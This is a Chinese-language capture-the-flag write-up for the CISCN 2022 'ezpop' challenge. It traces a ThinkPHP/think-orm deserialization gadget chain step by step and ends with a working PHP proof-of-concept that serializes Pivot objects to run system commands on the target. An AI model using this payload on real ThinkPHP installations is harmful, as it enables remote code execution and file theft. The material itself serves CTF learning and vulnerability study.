ciscn2022ezpop
尝试直接下载源码,发现确实泄露了源码,直接加上www.zip就可以下载源码
看网上文章说因为一般漏洞的起点都是在wakeup方法或者destruct方法,所以全局搜索一下这两个方法
vscode左上角放大镜按钮就是全局搜索
搜索之后发现漏洞起点应该是在vendor\topthink\think-orm\src\Model.php
只要这个$this->lazySave
为true,就能去调用下面的save()方法,然后跟进这个save()方法
存在漏洞的方法是那个updateData,但是要绕过上面那个if语句,也就是下面这个语句
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
所以跟进一下这个isEmpty()方法
根据返回值判断,只要这个data的值不为空就行
再看一下上面if语句的另外一个方法trigger(),介绍这个漏洞的文章里说$this->trigger方法默认返回就不是false(这里没怎么懂)
既然它这么说,就跟进那个存在漏洞的方法updateData,在这个updateData方法里存在漏洞的方法是checkAllowFields,而这个checkAllowFields在这个updateData里自动就会调用,因为上面那些if语句只要updateData这个方法被调用了,就不会再退出了
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->transaction(function () use ($data, $allowFields, $db) {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
});
// 更新回调
$this->trigger('AfterUpdate');
return true;
}
再跟进这个checkAllowFields方法,存在漏洞的方法是db()
这里的话也是默认会触发,因为上面那个schema搜索了一下,并没用被赋值,所以是空的,所以直接执行下面的语句,就会执行这个db()方法了
然后跟进db()
发现这里有字符串的拼接操作,就可能会触发toString魔术方法,到时候就把这里的$this->table
设置为能够触发toString方法
接着全局搜索一下这个toString方法
最后定位到vendor\topthink\think-orm\src\model\concern\Conversion.php的toString方法(不知道为什么最后定位到这里,可能是经验吧)
跟进toJson方法
跟进toArray()方法
存在漏洞的方法是下面这张图的getAttr方法
再跟进getAttr方法,在这个文件中没有这个方法,全局搜索发现在vendor\topthink\think-orm\src\model\concern\Attribute.php
漏洞方法是这个getValue,向上观察,发现这个value是由getData方法得到的
跟进这个getData方法,$this->data可控,$fieldName来自getRealFieldName方法。
可控是因为上面设置了这个变量
而这个fieldName来自getRealFieldName这个方法
跟进getRealFieldName这个方法
返回的是这个传进来的参数,所以这个fieldName变量也是可控的
也就是上面传入getValue的$value参数可控。
然后这里再跟进这个getValue方法
在Thinkphp6.0.8触发的漏洞点在最下面的那个if语句处,但在Thinkphp6.0.12时已经对传入的$closure进行判断。此次漏洞方法在getJsonValue方法。但需要经过两个if判断,$this->withAttr和$this->json都可控,可顺利进入getJsonValue方法
再跟进这个getJsonValue方法
触发漏洞的点在$closure($value[$key], $value)只要令$this->jsonAssoc为True就行。
$closure和$value都可控,$closure可控是因为fieldName可控
完整pop链(我们的顺序是从下往上)
然后是POC编写
<?php
namespace think {
abstract class Model
{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = '')
{
$this->lazySave = True;
$this->data = ['whoami' => ['ls /']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami', ['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model
{
}
}
namespace {
echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
最后在这个路径下\app\controller\Index.php找到传参点
然后传参
然后再修改命令,抓文件
详情看下面那篇文章